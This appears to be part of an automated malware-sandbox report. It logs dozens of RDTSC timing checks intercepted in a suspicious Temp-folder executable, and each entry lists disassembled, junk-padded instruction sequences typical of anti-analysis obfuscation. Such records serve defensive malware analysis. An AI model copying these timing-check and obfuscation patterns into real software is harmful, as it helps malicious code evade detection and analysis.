Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA0578 second address: 4EA057E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EA057E second address: 4EA0582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC0053 second address: 4EC0062 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC0062 second address: 4EC0068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC0068 second address: 4EC006C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC006C second address: 4EC00F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F7FDCFD229Eh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F7FDCFD229Eh 0x00000016 and cx, F338h 0x0000001b jmp 00007F7FDCFD229Bh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F7FDCFD22A8h 0x00000027 sbb ch, FFFFFF98h 0x0000002a jmp 00007F7FDCFD229Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushfd 0x00000037 jmp 00007F7FDCFD22A2h 0x0000003c xor eax, 539997F8h 0x00000042 jmp 00007F7FDCFD229Bh 0x00000047 popfd 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC00F8 second address: 4EC0159 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7FDD3F1878h 0x00000008 sbb esi, 7B007258h 0x0000000e jmp 00007F7FDD3F186Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ch, 7Bh 0x00000018 popad 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F7FDD3F1878h 0x00000023 sbb si, 03E8h 0x00000028 jmp 00007F7FDD3F186Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EC0159 second address: 4EC015F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0585 second address: 4EE05BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7FDD3F1878h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE05BF second address: 4EE05CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE05CE second address: 4EE0628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7FDD3F1871h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov cl, bh 0x00000015 pushfd 0x00000016 jmp 00007F7FDD3F1874h 0x0000001b xor al, FFFFFFF8h 0x0000001e jmp 00007F7FDD3F186Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0628 second address: 4EE06B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F7FDCFD229Eh 0x00000010 xchg eax, ecx 0x00000011 jmp 00007F7FDCFD22A0h 0x00000016 push eax 0x00000017 pushad 0x00000018 call 00007F7FDCFD22A1h 0x0000001d pop edi 0x0000001e mov dx, ax 0x00000021 popad 0x00000022 xchg eax, ecx 0x00000023 jmp 00007F7FDCFD22A6h 0x00000028 mov eax, dword ptr [774365FCh] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F7FDCFD22A7h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE06B3 second address: 4EE0781 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7FDD3F1872h 0x00000009 adc si, 16D8h 0x0000000e jmp 00007F7FDD3F186Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test eax, eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F7FDD3F1874h 0x00000020 adc eax, 0285E138h 0x00000026 jmp 00007F7FDD3F186Bh 0x0000002b popfd 0x0000002c call 00007F7FDD3F1878h 0x00000031 pushfd 0x00000032 jmp 00007F7FDD3F1872h 0x00000037 xor al, FFFFFFC8h 0x0000003a jmp 00007F7FDD3F186Bh 0x0000003f popfd 0x00000040 pop ecx 0x00000041 popad 0x00000042 je 00007F804F8C4A89h 0x00000048 pushad 0x00000049 call 00007F7FDD3F1875h 0x0000004e mov esi, 400F6527h 0x00000053 pop eax 0x00000054 mov edi, 104FA940h 0x00000059 popad 0x0000005a mov ecx, eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F7FDD3F1872h 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0781 second address: 4EE0787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0787 second address: 4EE078B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE078B second address: 4EE07F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c call 00007F7FDCFD22A4h 0x00000011 mov cx, 6001h 0x00000015 pop ecx 0x00000016 pushfd 0x00000017 jmp 00007F7FDCFD22A7h 0x0000001c adc eax, 14D0212Eh 0x00000022 jmp 00007F7FDCFD22A9h 0x00000027 popfd 0x00000028 popad 0x00000029 and ecx, 1Fh 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE07F2 second address: 4EE07F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE07F6 second address: 4EE07FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE07FC second address: 4EE084D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7FDD3F1870h 0x00000009 or ax, A9D8h 0x0000000e jmp 00007F7FDD3F186Bh 0x00000013 popfd 0x00000014 call 00007F7FDD3F1878h 0x00000019 pop esi 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d ror eax, cl 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F7FDD3F186Ch 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE084D second address: 4EE08B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b call 00007F7FDCFD22A4h 0x00000010 pushfd 0x00000011 jmp 00007F7FDCFD22A2h 0x00000016 sbb ax, 98F8h 0x0000001b jmp 00007F7FDCFD229Bh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 popad 0x00000023 retn 0004h 0x00000026 nop 0x00000027 mov esi, eax 0x00000029 lea eax, dword ptr [ebp-08h] 0x0000002c xor esi, dword ptr [00152014h] 0x00000032 push eax 0x00000033 push eax 0x00000034 push eax 0x00000035 lea eax, dword ptr [ebp-10h] 0x00000038 push eax 0x00000039 call 00007F7FE1DA2B61h 0x0000003e push FFFFFFFEh 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F7FDCFD22A1h 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE08B0 second address: 4EE08EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 2FA130E9h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007F7FDD3F1874h 0x00000011 ret 0x00000012 nop 0x00000013 push eax 0x00000014 call 00007F7FE21C2160h 0x00000019 mov edi, edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7FDD3F1877h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE08EC second address: 4EE0997 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7FDCFD229Eh 0x0000000f push eax 0x00000010 jmp 00007F7FDCFD229Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F7FDCFD22A4h 0x0000001d adc eax, 5AE53CD8h 0x00000023 jmp 00007F7FDCFD229Bh 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F7FDCFD22A8h 0x0000002f and si, 0738h 0x00000034 jmp 00007F7FDCFD229Bh 0x00000039 popfd 0x0000003a popad 0x0000003b mov ebp, esp 0x0000003d jmp 00007F7FDCFD22A6h 0x00000042 pop ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE0997 second address: 4EE099B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE099B second address: 4EE09A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE09A1 second address: 4EE09B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDD3F186Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4EE09B0 second address: 4EE09B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E9005A second address: 4E90060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90060 second address: 4E90064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90064 second address: 4E90072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90072 second address: 4E90099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov bx, si 0x00000008 popad 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7FDCFD22A9h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90099 second address: 4E900D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F7FDD3F186Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7FDD3F1877h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E900D8 second address: 4E90160 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7FDCFD22A8h 0x00000008 xor ecx, 5D52DEE8h 0x0000000e jmp 00007F7FDCFD229Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F7FDCFD22A8h 0x0000001c jmp 00007F7FDCFD22A5h 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ecx 0x00000024 jmp 00007F7FDCFD229Eh 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F7FDCFD22A7h 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90160 second address: 4E90202 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7FDD3F186Fh 0x00000009 sub si, C19Eh 0x0000000e jmp 00007F7FDD3F1879h 0x00000013 popfd 0x00000014 mov ebx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007F7FDD3F186Dh 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 mov cx, B4F3h 0x00000025 jmp 00007F7FDD3F1878h 0x0000002a popad 0x0000002b mov ebx, dword ptr [ebp+10h] 0x0000002e pushad 0x0000002f push esi 0x00000030 mov edx, 4B985C10h 0x00000035 pop edi 0x00000036 mov cl, 06h 0x00000038 popad 0x00000039 push esp 0x0000003a pushad 0x0000003b mov dx, cx 0x0000003e mov dx, si 0x00000041 popad 0x00000042 mov dword ptr [esp], esi 0x00000045 pushad 0x00000046 mov ecx, 04CA2617h 0x0000004b mov di, si 0x0000004e popad 0x0000004f mov esi, dword ptr [ebp+08h] 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F7FDD3F1875h 0x00000059 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90202 second address: 4E90208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90208 second address: 4E90232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1873h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F7FDD3F186Bh 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90232 second address: 4E90284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7FDCFD229Bh 0x00000009 sub eax, 3C4271DEh 0x0000000f jmp 00007F7FDCFD22A9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F7FDCFD229Ah 0x00000020 adc cl, FFFFFFD8h 0x00000023 jmp 00007F7FDCFD229Bh 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b mov dl, cl 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90284 second address: 4E902BA instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 73AC8AC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, edi 0x0000000b jmp 00007F7FDD3F186Dh 0x00000010 test esi, esi 0x00000012 jmp 00007F7FDD3F186Eh 0x00000017 je 00007F804F90FBCFh 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov ecx, edx 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E902BA second address: 4E902C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7FDCFD229Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E902C9 second address: 4E902CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E902CD second address: 4E902E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f pushad 0x00000010 push edx 0x00000011 movzx ecx, dx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E902E5 second address: 4E90317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 je 00007F804F90FBA4h 0x0000000e pushad 0x0000000f mov edx, ecx 0x00000011 push ecx 0x00000012 mov dx, F31Ah 0x00000016 pop edi 0x00000017 popad 0x00000018 mov edx, dword ptr [esi+44h] 0x0000001b jmp 00007F7FDD3F186Eh 0x00000020 or edx, dword ptr [ebp+0Ch] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90317 second address: 4E9031B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E9031B second address: 4E90338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90338 second address: 4E90375 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f jmp 00007F7FDCFD229Eh 0x00000014 jne 00007F804F4F05BDh 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F7FDCFD229Ah 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90375 second address: 4E9037B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E9037B second address: 4E90399 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov eax, edi 0x00000012 mov eax, edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E90399 second address: 4E903A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E903A1 second address: 4E903C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007F804F4F058Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7FDCFD22A4h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E903C4 second address: 4E903CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E903CA second address: 4E903CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E903CE second address: 4E903D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80739 second address: 4E80789 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx ecx, dx 0x0000000f mov edi, 6120FAA4h 0x00000014 popad 0x00000015 and esp, FFFFFFF8h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007F7FDCFD229Fh 0x00000021 and ax, AABEh 0x00000026 jmp 00007F7FDCFD22A9h 0x0000002b popfd 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80789 second address: 4E807A4 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edi, 7B0F88A0h 0x0000000c popad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7FDD3F186Bh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E807A4 second address: 4E80884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d mov dx, si 0x00000010 jmp 00007F7FDCFD22A8h 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F7FDCFD229Eh 0x0000001e or eax, 531267A8h 0x00000024 jmp 00007F7FDCFD229Bh 0x00000029 popfd 0x0000002a jmp 00007F7FDCFD22A8h 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007F7FDCFD229Bh 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 jmp 00007F7FDCFD22A4h 0x0000003d pushfd 0x0000003e jmp 00007F7FDCFD22A2h 0x00000043 or esi, 0E2B4F98h 0x00000049 jmp 00007F7FDCFD229Bh 0x0000004e popfd 0x0000004f popad 0x00000050 mov esi, dword ptr [ebp+08h] 0x00000053 pushad 0x00000054 push eax 0x00000055 pushad 0x00000056 popad 0x00000057 pop ebx 0x00000058 popad 0x00000059 mov ebx, 00000000h 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F7FDCFD229Fh 0x00000065 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E80884 second address: 4E8088A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E8088A second address: 4E8088E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E8088E second address: 4E809B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007F7FDD3F1876h 0x00000012 je 00007F804F91733Dh 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F7FDD3F186Eh 0x0000001f sub si, DEB8h 0x00000024 jmp 00007F7FDD3F186Bh 0x00000029 popfd 0x0000002a mov di, si 0x0000002d popad 0x0000002e cmp dword ptr [esi+08h], DDEEDDEEh 0x00000035 jmp 00007F7FDD3F1872h 0x0000003a mov ecx, esi 0x0000003c pushad 0x0000003d mov esi, 035B51ADh 0x00000042 pushfd 0x00000043 jmp 00007F7FDD3F186Ah 0x00000048 add esi, 528BF848h 0x0000004e jmp 00007F7FDD3F186Bh 0x00000053 popfd 0x00000054 popad 0x00000055 je 00007F804F9172E8h 0x0000005b jmp 00007F7FDD3F1876h 0x00000060 test byte ptr [77436968h], 00000002h 0x00000067 jmp 00007F7FDD3F1870h 0x0000006c jne 00007F804F9172C8h 0x00000072 jmp 00007F7FDD3F1870h 0x00000077 mov edx, dword ptr [ebp+0Ch] 0x0000007a jmp 00007F7FDD3F1870h 0x0000007f xchg eax, ebx 0x00000080 push eax 0x00000081 push edx 0x00000082 pushad 0x00000083 jmp 00007F7FDD3F186Dh 0x00000088 pushfd 0x00000089 jmp 00007F7FDD3F1870h 0x0000008e xor ecx, 4247E298h 0x00000094 jmp 00007F7FDD3F186Bh 0x00000099 popfd 0x0000009a popad 0x0000009b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 4E809B2 second address: 4E80A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7FDCFD229Fh 0x00000009 or cl, 0000005Eh 0x0000000c jmp 00007F7FDCFD22A9h 0x00000011 popfd 0x00000012 mov si, 1827h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F7FDCFD22A6h 0x00000021 sbb si, D688h 0x00000026 jmp 00007F7FDCFD229Bh 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
